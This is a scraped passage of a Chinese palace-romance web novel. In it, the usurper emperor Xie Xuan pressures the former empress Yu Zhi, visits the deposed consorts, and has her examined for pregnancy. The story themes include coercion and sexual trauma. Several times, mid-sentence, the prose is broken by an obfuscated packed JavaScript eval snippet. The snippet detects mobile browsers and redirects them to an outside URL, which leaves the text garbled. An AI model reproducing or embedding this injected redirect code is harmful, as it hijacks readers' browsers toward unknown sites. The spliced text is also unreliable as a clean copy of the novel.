谢玄先是笑而不语,然后站起身踱步到他们身前。带有暗纹的黑袍华美无比,在他身量的支撑下,袍子上的龙似要腾空而起,颇有气势,让人不敢直视。 “就先从天牢里的人开始吧,京城天牢里的抄完了还有地方的。爱卿不是说各地都有许多‘硬骨头’吗?”谢玄拍拍石留青的肩膀,“若是真能遇到那种抄家都抄家不出几两银子的清官,朕正好派他到地方替朕收税。” “这样做会不会太过激进,到时天下豪族会人人自危,生怕您下一个就拿他们开刀。”户部尚书似是有些担心。 “天下势力不过此消彼长四个字,现在需要打压世家豪强,那便提携另一方就是了。”二者相互抗衡,皇权就不会受到太大的影响。 “皇上难道是要……” “朕要重开科举。”几个字砸在肃穆的大殿上,似空谷传音。谢玄语气坚定,看来是早在心中想好了一切。 他要给寒族一条向上爬的路,笼络天下寒门子弟的心。 此话一出,众人无不睁大了眼睛。重开科举必定惹得世家不满,这条路的艰难程度可想而知。但是当他们目光触及谢玄坚定而自信的神色时就都默契地把劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040471|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阻的话咽了回去。 此等魄力,又怎是元临能与之相比的。 “陛下圣明!” * 虞枝自谢玄走后就开始惶惶不安,他临走前的举动彻底让虞枝没了底。 亲她……是几个意思? 明明是灼热的夏日,虞枝却浑身发冷。万一以后他做出更过分的事情,她要如何自处? 虞枝边想边在宫里转了几圈,见没有人限制她便大起了胆子,跨出了凤宁宫的大门。 一直跟在虞枝身后一段距离的胡泉也连忙跑出来,跟在虞枝身后。 春桃小心翼翼地开口问道:“娘娘,咱们这是要去哪里啊?” 胡泉也跟着眼巴巴望着,希望虞枝不要说出“出宫”之类会惹谢玄生气的话。 “本宫……”虞枝话一出口就惊觉不妥。元临已经死了,现在能自称‘本宫’的该是他谢玄的嫔妃。虞枝握紧手掌,生硬道:“我在宫里转转还不成吗?”她头上还包裹着厚重的纱布,纱布下的伤口虽然不太疼了,但还是闷闷的不舒服。 “这自然是成的。”胡泉依旧笑得谄媚,那笑在春桃眼里都觉得腻得发酸,不忍多看。 虞枝松了口气,自谢玄造反,她还不知道外面变成了什么样子。 前朝的事情、尤其是虞家,她一点消息也打听不到,但是看谢玄那幅逼她做皇后的样子就猜测他暂时应该不会把虞家怎么样,至于被流放的父兄……谢玄就算再怎么折腾,情况也不会太坏了。 她现在身处后宫,只能先摸清后宫的局势。 “陛下……我是说元临的那些妃嫔子女都安排在哪里?”虞枝站在空荡荡的长梦宫门前,翠叶繁花茂密艳丽如旧,只是少了往日的热闹。长梦宫是苏贵妃的宫殿,最为奢华,可如今这里不仅人去楼空,就连殿内陈设也没了不少,不知是不是宫变时被人趁乱抢走了,让人叹息富贵如烟。 “回娘娘,元临的妃嫔子女都安置在翠薇宫呢。至于这些东西,”他举起兰花指,对着空荡的宫殿道:“陛下说此宫殿过于奢靡逾矩,竟比帝后居所还要富丽堂皇,就都命人收到库房里了。” 听到谢玄没有大开杀戒,虞枝稍稍松了口气,然后抬步就往翠薇宫走。 胡泉看着虞枝的表情就知道她必定是要亲自去一趟翠薇宫的,便心里泛起了嘀咕,虽说陛下没有限制虞枝的自由,但是去见这前朝宫嫔还是让胡泉心里有点没底。他有心劝上一劝,却被虞枝三言两语堵了回去,心知多说无用,只能硬着头皮跟了上去。 翠薇宫挨着冷宫,原来是元临的棠贵人居所。棠贵人被苏贵妃推入水中失了孩子,还因此被元临嫌恶,遭贬斥幽禁于此。对棠贵人来说,她是做梦也不曾想到过她还有能把杀子仇人苏贵妃踩在脚下的一天。 这不,虞枝刚一走近翠薇宫,就听见一声凄厉的叫喊,紧接着便是混乱的谩骂,夹杂着婴孩的啼哭声。 门外守着侍卫显然是见怪不怪,面无表情地持着长剑守在殿外。 这时,谩骂中传来一声阴冷的嘲讽,“苏雨兰,能护着你胡作非为的皇帝陛下已经死了!” “你的好日子早就到头了!” 5. 醉 虞枝上前几步,守在门外的侍卫见了竟没制止,叫虞枝大了些胆子,干脆径直推开了门去。 门内正吵得不可开交,骤然听得一声门扉吱呀,倒似平地惊雷,使杂乱的声音一瞬间低了下去。 “皇后娘娘……?”一个看起来狼狈不堪的女子突然从地上站起来,不可置信地看着穿戴整齐的虞枝。 一旁扭打在一起的两个美丽女人也愣愣地松开了手,直直地看向虞枝。 虞枝略扫一眼就认出那两人正是素有积怨的苏贵妃和棠贵人。 虞枝看着这些熟悉的面孔,张了张口,却不知道该说些什么。跟在她身后的胡泉戒备地招呼了门外的侍卫进来,以防有人暴动伤到了虞枝。 “呵。”看到胡泉的动作,苏贵妃反而讥笑一声,也顾不上方才与她扭打在一团的棠贵人,只双眼发红地盯着虞枝冷笑道:“我们最忠贞不二的皇后娘娘怎么……难道向乱臣贼子低了头,做了软骨头吗?!”苏贵妃一夜之间从天上坠落到泥地里,心中悲愤不已。她跋扈多年,凭的不过就是元临的宠爱,如今一朝变天,她顷刻成了待宰的羔羊。往日里与她有怨有仇的恨不得立马扑上来把她撕碎,可惜再没有像元临那样的人来保护她。在蛮横的仇人面前,她那些上不得台面的算计通通失了效,叫她几欲绝望。 而昔日的手下败将虞枝竟然依旧光彩夺目高高在上,叫她如何能隐忍。此刻她喉头哽了口热血,却不愿示弱,只能生生忍下去,但是嘴里还是不住地讥讽道:“娘娘此刻依旧高贵得像个皇后,不像我们这些人,只能像牛羊一般被人赶到这里软禁起来。” “但至少你们还活着……”虞枝喃喃,声音轻的好似重病之人,听得身后的胡泉心一跳,唯恐虞枝晕倒过去。虞枝不知道胡泉的心思,她只是觉得疲惫与无力。疲惫于不能如愿的世事,无力于眼前的一群或希冀或憎恨的目光。 “母后……”一道小猫似的男孩声音从角落里传过来。 虞枝身子一僵,看向角落。 元临的大皇子元澈可怜兮兮地缩在那里,一双紫葡萄般的眼睛充满恐惧,但是他白嫩的小手却紧紧地攥着腰间的一枚血玉佩。那玉佩虞枝识得,当年元临登基,内外不稳,虞父身为重臣,在朝堂上歃血滴玉,誓死拥立正统,稳住了野心勃勃的几位皇子。只是后来虞家失宠于元临,这枚曾经象征着忠诚的玉佩被元临随手赐给了长子元澈。 与元临的态度不同,元澈一直佩戴着这块玉佩,珍视非常。他乃元临长子,又养在苏雨兰膝下,尊贵无比。若不是出了谢玄这个意外,或许他会是未来的太子,甚至是皇帝。 可是虞枝知道……这孩子并不单纯。 虞枝想起曾经在不经意间窥见到的一次“意外”,听着耳边这略有深意的“母后”,心中涌起些莫名的勇气来。不甘心的并不止她一人,前朝后宫,她能利用的势力或许有很多。 此想法一出,就连虞枝自己也吓了一跳。她从没想过她会有筹谋皇位的一天,还是从一个危险的乱臣贼子手中。当下手心就出了一层薄薄的冷汗。 “娘娘,”胡泉适时出声,“咱们出来的已经够久了,您身子还未痊愈,不如移驾回宫吧。” 虞枝收回视线,淡淡点了点头。那边元澈也像是什么都没发生过一样走到贵妃身边,抱住了贵妃的腰际,目送着虞枝离开。 他能感受到臂弯中苏贵妃的颤抖和愤怒,于是轻轻扯了扯她的袖子,“母妃别害怕,我会保护你的。”他勉强笑了笑。 苏贵妃一低头就看到元澈的可怜样子,心下一软。她承宠多年,却一直没有自己的孩子,因此也是真心疼爱着元澈。方才与棠贵人再次起了冲突也不过是想从棠贵人的手中抢过那一份糕点给元澈。 “好孩子。”苏贵妃心下悲伤,只能将元澈搂紧。 元澈默默低下头,敛去眼中装出来的几分可怜。他现在还不确定虞枝能否被他打动,只能先紧紧抱住贵妃这条大腿。他还需要贵妃替他出头,让他能在这鸟不拉屎的翠薇宫活下去。 他暗中叹了口气,垂下的手将玉佩握得越来越紧。 虞家的歃血之盟,他的母后可还会记得? * “皇上驾到!” 入夜,虞枝一个人倚靠在窗边的小榻上,看着往来的宫人和被微风吹起的落花枝叶,内心恍惚。似乎觉得自己还在从前,一切血腥都不过是一场梦,直到太监尖锐的声音打破这一室的安静。 古井投珠,波澜一片。 虞枝看着一身黑色龙袍的谢玄缓步迈了进来。 他踏着宫灯投下的光圈,一步步走过来。银丝云龙暗纹隐隐约约泛着月色,映出一点光泽,为他平添几分华贵的味道。 “怎么不掌灯?”谢玄声音有点哑,像是有些醉意,但他步子依旧很稳,能看出武将的底子。 虞枝想了想,推断出谢玄或许刚从庆祝的宴会上回来。庆祝元临已死,庆祝自己篡位成功,庆祝群臣都跪倒在他的权势之下,庆祝就连她也成了他的掌中之物。 虞枝心里悲凉一片,但是面上倒是平静。她今天想了很多,知道想要谋成大事,谢玄是最好的,也是最危险的踏板。 “回皇上,娘娘说外面的灯已经够亮了,殿内借着外面影影绰绰的亮,反而更有几分意趣。”一旁侍奉的胡泉见虞枝不搭话,唯恐谢玄恼怒,因此忙回了几句。前一句是虞枝说的,后边则是他自己揣测的。他命人重新掌了灯,又奉上了解酒的蜜水。 谢玄抬手,示意殿内的人都退出去。 霎时间,偌大的宫殿里只剩下了他们两人。窗外阵阵的花香和池水独有的清冽气息随着柔和的晚风飘进来,宁和的夏夜静静流淌。 谢玄似乎也放松了些,自顾自地脱了外袍,扯开些衣领,坐到了书桌前。 “这书是你常看的?”谢玄拿起案牍上搁置的一本《左传》,忍着醉酒的不适,轻轻翻阅起来。 淡淡的墨香充溢在鼻间,缓解了些头痛。 “是。”虞枝已经从小榻上起来了,规矩地站在离谢玄很远的地方。 听到虞枝的声音,谢玄一愣。这心平气和的声音似乎把他拉回了从前,叫他心底泛起一股热气,涌到胸前,却抒发不出来。 从前她待他也是这般温温柔柔的,有时也会为他的无礼而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040472|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗔怒,或者是板着脸说他不够爱惜自己的身体,徒留下许多伤。他那时笑说男儿征战沙场,留得一条性命便是幸运至极。她眼中流露出她自己都没意识到的怜惜,叫他无法无动于衷。 “过来。”谢玄声音很平和,并不带有命令。但是他的身份压得虞枝喘不过气来,只能生生咬着牙才顺从地走了过去。 谢玄醉了酒,脑子迟钝了许多,没察觉到虞枝僵硬。 也多亏了谢玄的迟钝,虞枝才能认真正视这个自己多年未见的故人。 他的身量高大了许多,已经不再是那个还有几分意气天真的孤傲少年,他仅仅是坐在那里就已经具有了压迫感。如墨色晕染的长睫在眼下投出一片小小的阴影,莫名有几分乖巧。再向下,嫣红的唇瓣打破了乖巧的错觉,令虞枝回想起不堪的一幕来。 她眼睛眨了眨,压下一股说不清道不明的情绪,想将视线从谢玄身上移开,却被一道蜿蜒于玄色锦衣之下的伤疤定住。 谢玄的衣领被他自己扯开了些,露出白皙的胸膛一角来。如白玉的皮肤被一道狰狞的刀伤撕裂,随着他呼吸起伏,像是一条盘旋于他身前的恶龙,窥伺着他的生命。 “……”虞枝呼吸重了些,猛地移开了视线。她忽然想起在元临的疯狂打压下,谢玄的日子也并不好过。更何况他一心开疆拓土,连年厮杀于边境不稳之地,过着征战不知几人回的生活,其中凶险不知几何。 不过身为将军为国效力乃是他分内之事,如同她自己费力不讨好地管理后宫、讽谏君王一样,都是自己的选择。 虞枝这样安慰自己。 谢玄察觉到了虞枝的动作,略微抬起头轻笑了声:“还在生气?”谢玄一边说一边从怀中拿出一只夜明珠来。 温润的光泽霎时在他手中绽开。 “喜欢吗?”他问。 虞枝摇摇头。 谢玄却像没看到一样,固执地拉过虞枝的手腕,将夜明珠放在她的手心里。 白腻的皮肤在柔和的光下越发诱人,谢玄不禁停留片刻。待察觉到虞枝不善的眼神后才慢慢收回手。 “这是补给你的生日礼物。” “我不需要。” 谢玄恍若未闻,朝虞枝伸出手,“我的呢?” “……”虞枝震惊于他的厚颜无耻,恼怒地瞪大了眼睛。“你强塞给我一件礼物便算了,竟然还要我也还你一件,真是……” “恬不知耻。”谢玄平静地替虞枝说了出来。 此时的虞枝比之前要死不活的状态灵动了许多,一双清灵如山雾中迷失的小鹿般的眼睛总算能看出几分鲜活,惨白的脸颊也因生气而红润了几分。 谢玄终于微微露出一个满意的笑容来。 看来以后还得多逗逗这只执拗的小鹿才是。 “我是叫娘娘把当年从我这里骗走的生日礼物还给我。”他在她面前还是不习惯称呼自己为“朕”,仿佛他还没有办法将自己放在那么一个高高在上到几乎无人能与之并肩的位置上。 虞枝听到这话竟然一塞,愣是没有立刻反驳他。 因为当年的那件事,她做的确实不光彩。 6. 丹青 那时候虞枝还没意识到眼前的谢玄就是小时候遇到的那个被揍得鼻青脸肿还倔强地说不疼的男孩,她只以为他是纯粹地出于好意才会毫不犹豫地跳下来。 她甚至不记得那年春猎醉酒,她曾闯入过他的营帐,险些铸下大错。 如果没有决裂前谢玄送来的一封信,虞枝就真的会天真地以为他们之间的纠葛只要她想断就能断,只要过去了就能放下。殊不知一切爱恨就像纠缠不休的鸳鸯藤,至死分不成清白的模样。 犹记是一场微冷的春雨过后,虞枝随着母亲前往百慧山顶的灵觉寺上香还愿。为的是自己的姐姐虞兰终于得偿所愿,平安生下了一个健康的儿子。虞枝真心地为姐姐高兴,便在虔诚地上过香后独自跑去了后山。 她听说顺着灵觉寺的后门出去几百米远的地方有一颗很是灵验的百年桃树,只要把自己的心愿写在红纸上,然后再挂上去,愿望就会实现。 虞枝想替姐姐再求一件愿望,为姐姐自己,而不是为姐姐的夫家或是孩子。 于是她踮起脚,把写着‘岁岁平安’的红纸捏在指尖,努力地想要把它挂上去。但是雨后的泥土湿泞难行,散落在泥土间的石头也湿滑无比。恰巧那桃树还生长在一个倾斜的坡上,下面是几米高的一片小水塘,塘里水是青绿无波,有红色的鱼儿从水草间穿梭而过。 此处环境显然危险十分。 但是虞枝顾不了那么多,她久挂不上,便有些心急,大着胆子上前来几步,准备站到更高处行动。不想脚刚一踏上圆润的石头上就不可避免地滑了一下,接着整个人就失去了平衡,倏地向后仰去。还来不及呼救,虞枝便已经摔倒,顺着斜坡一路滚进冰凉的水塘里。 如浮萍一般,虞枝一下子就失去了所有实感,只觉得头脑发胀。冰凉的泥土青草香混合着鱼儿的腥,不住地往她口鼻中钻。呼吸不到空气,肺腑又猛然呛了水,虞枝是真的以为她要死了。 这时候,坡上似乎有个人影立在那里。 但是迷蒙的虞枝看不清是谁,她也不在乎是谁。求生的本能几乎是立刻迫使她伸出手呼救。 破出水面的手白净细腻,还挂着细细的泥沙和水草野花。它不住摇晃,祈求得到桃树下那人的关注。惊慌、无措的情绪毫无保留地传递进了谢玄幽深无底的眼中。 每一次,都是虞枝先打破的界限,接着,他便不顾一切了。 他一点也没犹豫就跳了下去。 紧接着,比先前虞枝落水更大的动静响起,虞枝能感觉到有人落到了她的身边。透过涌动的水波,虞枝费力地看到来人着一身单薄的黑衣,看起来与塘水一样冰冷,但是那双手是温热的,带着不容置疑的力道抓住了她,再也没松开。 虞枝在那之后就失去了意识,醒来就已经是得救后了。她以为对于谢玄来说,从水中救一个弱女子应该只是举手之劳。可她不知道谢玄和她一样从小生活在北方,从没有下过水,他对水的唯一经验来自于八岁那年被谢宸按进水中折磨。所以,对于救虞枝,谢玄并没有百分百的把握,也许他也会死在那片小小的水塘里,失去即将得到的荣华富贵,埋葬那些还没有亲手报完的仇。 但是谢玄还是义无反顾地跳了下去。他后来回想,不断地追问自己为什么,直到许多年后在寂寞的深宫听到了她的哭泣声,一切才有了答案。在重重宫门的阻隔下,在满殿神佛的注视中,他依旧没有转身离开。 即使后来的虞枝否认她当时在水塘里哭过,但谢玄还是很确定他听到了,因为他的心脏确实跟着痛了。这种他从没意识到过的痛丝丝蔓延,叫他不能再耽搁半分。 醒来的虞枝只知道是谢小将军偶然路过此处救了她。虞家派人上门道了谢,她出于感恩,也派人送去了礼物,谢玄给了回礼,一来二去两个人开始有了联系。 虞枝以为这是他们之间的开始。 不久就是谢玄的生辰,他向虞枝索要生辰礼。虞枝虽觉不妥,但又不忍拒绝救命恩人的请求,便偷偷问了他想要什么。 谢玄一挥手臂,掀起衣摆坐了下去,膝盖抵在虞枝身前。 虞枝忙后退了几步,白纱帷帽从谢玄搭在膝上的指间擦过。 不用想,谢玄也知道帷帽之下有人红了脸。 他轻笑,“我听说虞小姐的丹青乃是令尊亲手所教,想必是一绝。”他看出虞枝沉默中的欲言又止,看见她紧握在一起的手指。他暗自忖度,明明她曾经也不像现在这样谨小慎微,是从什么时候她开始变得如此小心刻意了呢? “你……”虞枝咬咬牙,“想要我画些什么?” 谢玄思量,而后缓声看着虞枝背后敞开的窗子随口答道:“小楼一夜听春雨,深巷明朝卖杏花。”他细细念道,提议着,“不如就画‘此刻’。” “此刻?” 一阵风吹来,将轻纱帷帽吹动出如水面泛起的涟漪般的曼妙无穷。 虞枝没应下也没拒绝,但是在谢玄生辰那日清早他收到了一副画,画上笔墨丹青勾勒出清雅的画面。 杏花疏影中,倚楼听风。 谢玄瞧着画上被省略去五官的黑衣少年,了然一笑。这画上的人虽看不清五官,但动作不羁,衣摆被撩起,画面就定格在他握杯品茶的前一刻,放松闲适的神态跃然纸上。不是他还能是谁?只是她倒聪明,把自己从画中隐去了。 谢玄手落在画上,在那日虞枝站立的地方摩挲几分。他那时想,若是虞枝执意不给也就罢了,偏偏她给了,还将他也囊括进似梦迷离的仙境中。 他失了心,以为在入画的那一刻,她心里也是有他的。于是他不加掩藏,更不容许自己保留半分地将心捧了出去。 所以当她借口要将自己也添入画中时,他欣喜若狂,只觉得夜尽天明,云开雾散,却忽略了少女躲闪不忍的眼神。 他在听到这个消息的一刻就丧失了理智,兀自原地转了好几圈才克制住想要把眼前垂头不语的女孩拥进怀里的冲动,小心翼翼地问她这一切是否是真的。 女孩似乎被他方才的举动吓到了,犹豫着点点头,而后像是下定了某种决心一般开口解释道:“我作画时特意将窗前的位置留了出来。” 谢玄边听边笑,心跳越来越热烈难抑。他心里想,怪不得窗前留白了那么大一片,原来……原来是留给她自己的。 “当时我怕惹来流言蜚语,便将自己隐去了。如今……”虞枝抬头看见谢玄不加掩饰的目光,心跳都快要被吓停了。她猜得果然没错,谢玄对她的心思不清白,她还留了把柄在他手中。若是此事让别人知道,皇室一定不会再要她了,她的名声,虞家的名声就完了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢玄孤身再次回到了战场,把心中的不甘压制下。 或许,若是虞枝能安安稳稳的在皇后的位置上待下去,他不会反。 * 嘶! 虞枝手间传来刺痛的感觉,垂头才发现谢玄已经攥紧了她的手腕。 黑眸似乎带着靡乱的醉意,但是细看分明冷然一片,丝丝缕缕的恨流淌出来。 “画呢?”谢玄问。 虞枝想要抽手,却被握得更紧,她毫不示弱,“烧了。” “什么?”谢玄声音发颤。 “啊……”猛然加大的力气让虞枝不禁痛呼出声。 但谢玄竟一丝一毫都没放松些力气,这让虞枝觉得只要自己回答稍有不慎,就会被暴怒中的谢玄折断了手腕。 但…… 虞枝轻笑,惨白的脸色在黯淡的烛火下像原野跑出来的精怪,怪异而无畏,“确实是烧了,连灰都没留下。” 话音刚落,谢玄就站起来,怒火中哪里还窥得见刚才的温存和煦。 谢玄一瞬间倾身贴近虞枝,后槽牙咬得生生作响,明亮的黑眸隐约有点点水光闪过: “虞枝,你到底有没有心?!” 7. 此刻 “心?”虞枝呢喃,眼中透露出些许茫然。“我的心已经随着前朝覆灭了。” 虞枝在心里嘲笑自己明明想要利用谢玄来夺权,却还是忍不住用最难听的话来刺他。虽然她也得不到任何好处,但是她需要一个宣泄的出口,需要一个能让她怪罪的人。 她不敢细想谢玄造反之后会发生什么,她怕本就摇摇欲坠的国家在谢玄手里灭亡,她不想看着百姓遭受磨难。同时她也怕这个立国不正的新朝越来越好,因为这就意味着她所以当坚持也许都是一个笑话。若是她坚守的纲常正义都不过是错误,那她这些年又到底算些什么? 虞枝笑得凄惨,让谢玄以为她是在嘲讽他的痴心妄想。 谢玄别过头去,渐渐松了手上的力度,却没有彻底放开。 白皙的皓腕红肿一片,想必过不了多久就会青紫起来。 “胡伽!”谢玄朝外边冷声道:“叫人送些去肿化瘀的膏药来。” “是!”胡伽忙回,急匆匆地叫了人去太医院拿最好的伤药。 谢玄听到渐远的脚步声,面色缓和了些,只是声音依旧冷硬:“既然烧了,娘娘就再画一幅一模一样的出来。” 虞枝闻言抬起头,目光盯着谢玄刚平复下怒火的黑眸讥笑道:“覆水难收,破镜难圆,没了就是没了,如何能再画出一模一样的?” “画师不是还活着吗?”谢玄垂下眼眸,掩去眸中意欲再度燃烧的怒意,伸出另一只手抚摸上了虞枝的脸颊,“朕相信娘娘能再度回忆起那时那刻的情景。” 滑腻的触感流连在虞枝的皮肤上,虞枝感觉像是被一条阴冷且难缠的毒蛇盯上了般,忍不住在心底泛起涟漪。现在不动声色的谢玄比刚才情绪外露的谢玄还要恐怖得多。 也许下一刻他就会暴露他乱臣贼子的本性,把她羁押入天牢严刑逼打,或是砍了她在乎的人的头颅,像前几天的那个雨夜一样,玩笑般扔到她面前。 虞枝理智终于回笼,默默后退了一步道:“可我真的不记得了。” 谢玄手落空,顿在原地。 听到虞枝缓和的语气,谢玄也慢慢松开禁锢住虞枝的手,重新坐回椅子上,以手撑额,似是又回到了刚才微醺的状态。 “不记得了?”谢玄觉得好笑,怎么偏偏只有他记得那样清晰,甚至梦回之时还能看见她如约还回的画上,少年与少女共处一室,春景明媚,飞花逐风。“那倒也好办。” “你想怎样?” “娘娘就再画一新的给我吧。”谢玄平静道。 “画什么?” “此刻。” “……”虞枝一时不知道该说些什么,空气静谧下来。 外面细碎的虫鸣顺着窗缝钻进来,与虞枝的呼吸纠缠成合奏的乐曲,谢玄听着听着,不禁下意识地轻轻扣动放在桌上手指。许久等不到回答,他索性闭上眼睛。 当失去了视觉之后,听觉和嗅觉变得格外敏感。他能‘看见’轻柔的呼吸、淡雅的茉莉香,‘看见’漆红的窗子被风吹动、鸟儿栖息在翠绿的枝叶上,往上还有深蓝色的天空与柔软的云层……这足够他在一片黑暗中描绘出此情此景。 良久,久到端着伤药的胡伽在门外通传,谢玄才听到虞枝的回复。 她说,“好。” 谢玄睁开眼,“多谢娘娘。”他嘴角勾起笑,命胡伽把东西放下,又拉了虞枝的手看了看。 “疼吗?”谢玄用手指沾了白玉瓶中淡青色的膏体,涂抹在虞枝手腕上,不断地摩擦,生出的热量让这冰冰凉凉的药膏很快就被吸收掉了。 虞枝犹豫着,最终下定了心思,轻声回道:“疼。”她在赌,赌谢玄会不会因此对她有更多的怜惜。男人在新鲜劲没过的时候才会把女人当成宝贝,这是虞枝在元临那里得到的教训。谢玄从没有得到过她,所以她的示弱也许会是赢得他信任,令他心神荡漾的利器。 “……疼才能长记性。”谢玄长睫微颤。 虞枝没错过他眼里的懊悔和手上动作的停顿。她既庆幸又悲哀。庆幸她找到了蛰伏的方法,悲哀她只能用这样低劣的手段在元临和谢玄之间周旋。 她本想做一个青史留名的贤后,或者只是一个人人称赞的烈女,再不济也是令家族骄傲的女儿,可是如今……虞枝明晃晃地看见谢玄放松下的神色,她知道自己哪个也做不成了。 “好了。”谢玄不知虞枝心中所想,他只知道他的心上人终于肯正常地和他说话了,人便松懈下来。 说到底,他还是下意识地把虞枝当成那个五年前灵动单纯的少女,习惯性相信她面上所为就是心中所想。 “小虞,我累了。”宴会上,谢玄喝多了酒,方才和虞枝斗嘴时还不觉得如何,如今缓和下来才觉得头脑沉痛。这是他在战场吹多了冷风落下的老毛病,今夜恐怕都难以安眠。 只是宴会上将士们气势高涨,新贵旧臣又都刻意试探,他不得不豪迈痛饮震慑安抚众人。 “那……”虞枝身体僵硬,虽然她很想让谢玄累就滚回紫宸殿睡觉,但是面子上还是维持着刚才的顺从,“传胡伽进来送你回……” “叫人备水沐浴吧。” “……”虞枝定定地看着闭目养神的谢玄,发现他没在开玩笑,顿时身子发凉。心中开始盘算着自己拿起桌上的砚台砸死他的概率,直到她确定这种概率几乎为零之后才憋下内心的慌乱,故作镇定地传人备水。 她开始想,如果谢玄不顾她的意愿抢占了她怎么办?她要反抗? 虞枝几乎没什么犹豫就得出了答案,她一定会反抗。 方才的曲意逢迎已经达到了容忍的底线,再让她在床榻之间任谢玄摆弄,她绝不能接受。 而且…… 虞枝身体颤抖得十分厉害,她不得不双手紧紧扣住丝绸被褥,控制着心底的害怕。 来到宫里的每个黑夜都是那么的难熬,元临似笑非笑的脸如蛆附骨般在每个夜里折磨着她。她不明白为什么夫妻之间的床笫之事会如此痛苦,几乎总是伴随鲜血和恐惧,哪怕是她和元临感情最好的那半年,她也是在煎熬中度过。 她不敢想象,和自己的夫君行周公之礼尚且如此撕痛恶心,若是和一个残暴的乱臣贼子…… 呕! 虞枝无法抑制的生理不适,跌下床榻干呕起来。胃中的酸水不住上反,刺激的喉咙痛哑无比。 从没人告诉过她正常的夫妻是怎么样的。她的父母哥嫂明明都很恩爱相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她看起来这么虚弱可怜,如果再打掉她的孩子……谢玄当然知道自己不该在关键时刻犯下妇人之仁,但是只要看到虞枝苍白的脸色,他心便会抽痛起来,好似快要夺了他的命一般。 他的头更痛了,但是此时只能忍耐。 只能祈求上天慈悲为怀,别对他这么残忍。 “太医呢?!”谢玄只能把火发给跪在地上瑟瑟发抖的胡伽身上,胡伽内心叫苦不迭,焦急地回道:“就快来了,就快来了。” “来了!”胡泉在外面快跑断了腿,带着几个身强力壮的太监把几个老太医提小鸡似的提溜了过来,剩下的其他年轻力壮不好抓的太医则在后面跑着。 皇后娘娘突然呕吐,胡泉也被吓破了胆。这妇人莫名其妙呕吐,要么是吃坏了东西,要么就是怀孕了。虞枝从早到晚就吃了御膳房送来的几样小菜,清淡得要命,所以前者的可能极小,至于后者……本朝皇后怀着前朝皇帝的遗腹子,胡泉觉得这种炸裂的消息足以要了他的小命。 胡泉顾不上擦擦如雨落下的汗水,扑跪在地上,颤声道:“陛下,太医们都在殿外候着呢。” “都带进来。”谢玄坐在虞枝的床头,冷声施号发令,“你们一个一个来给皇后诊脉,如实禀报。” “是。” 太医院判跪在地上,朝虞枝露在锦被外的青紫手腕伸出了手。 8. 共枕 虞枝头脑清醒着,但是身体发虚,连起身的力气都没有,只能任太医颤抖的手搭上自己的手腕。 凝神片刻,虞枝就明白了——谢玄这是误以为她怀了元临的孩子。 虞枝在心里苦笑,她与元临已经几年未曾同床共枕过,哪里会莫名得来一个孩子。 果然,院判松了口气,顾不上擦拭额头上的汗珠,一头扣下去道:“回禀陛下,娘娘只是惊惧过度以致呕吐不止,喝下几副安神药,静心休养几日就好了。”他方才一进来看见虞枝伏地呕吐的样子也被吓了个半死,他在宫中任职多年,对女子怀孕的反应实在是太过熟悉,不能不多想。 紧绷的气氛一下子松弛了,像是崩了许久的线慢慢松了力,恢复了原样。 太医院院判乃是国医神手,不至于连怀孕和惊惧过度都分不清。 没人注意到谢玄背在身后握拳的手掌渐渐松开,他眉头虽还皱着,但是语气已经平缓许多。 “再来人诊。”谢玄不能冒一点险。 虞枝躺在床上听着谢玄发号施令,心底忽然松懈了下来。谢玄也许暂时不会和她同床,因为一旦她在这段时间有了孩子,谢玄根本说不清这孩子的父亲是他还是元临。 虞枝最大的烦恼暂时迎刃而解了,她害怕生下乱臣贼子的孩子,害怕和乱臣贼子有斩不断的联系。如今终于能暂时放心了。 如果谢玄给她灌下去一剂绝嗣汤也不错,直接断了所有孽缘。若是像被贵妃下药的瑜贵人一样疼死,也算是上天给她的结局。 连续十来个太医轮流给虞枝诊过脉,都得出了一样的结论——虞枝没有怀孕。 “下去吧。”谢玄挥手,朝胡伽递了个眼神。 胡伽当即心领神会,表示绝不会让今日份乌龙传出去半分,然后就带着乌泱泱的一群人退了出去。 过了一会春桃送了药和点心来,谢玄半抱着虞枝喂她喝了下去,而后给她擦拭整理了一番。因着虞枝抗拒和谢玄接触,谢玄便干脆搁置了洗澡换衣这一项,反正难受的也不是他。 病着的虞枝看起来倒是十分乖巧,如果不是被他吓得惊惧过度而病的话。 谢玄黑着脸放下药碗,他忍住冲到铜镜前端详自己外貌的冲动,独自背过身坐在床榻边上。 怎么会这样? 谢玄没想到虞枝对他的抗拒已经到了身心俱厌的地步,他想知道若是他把虞枝扒光了搂在怀里,看她吐个天翻地覆后还会怎样。但又怕她把好不容易喝下去的药吐出来,若是迟迟不好,他又要担心。 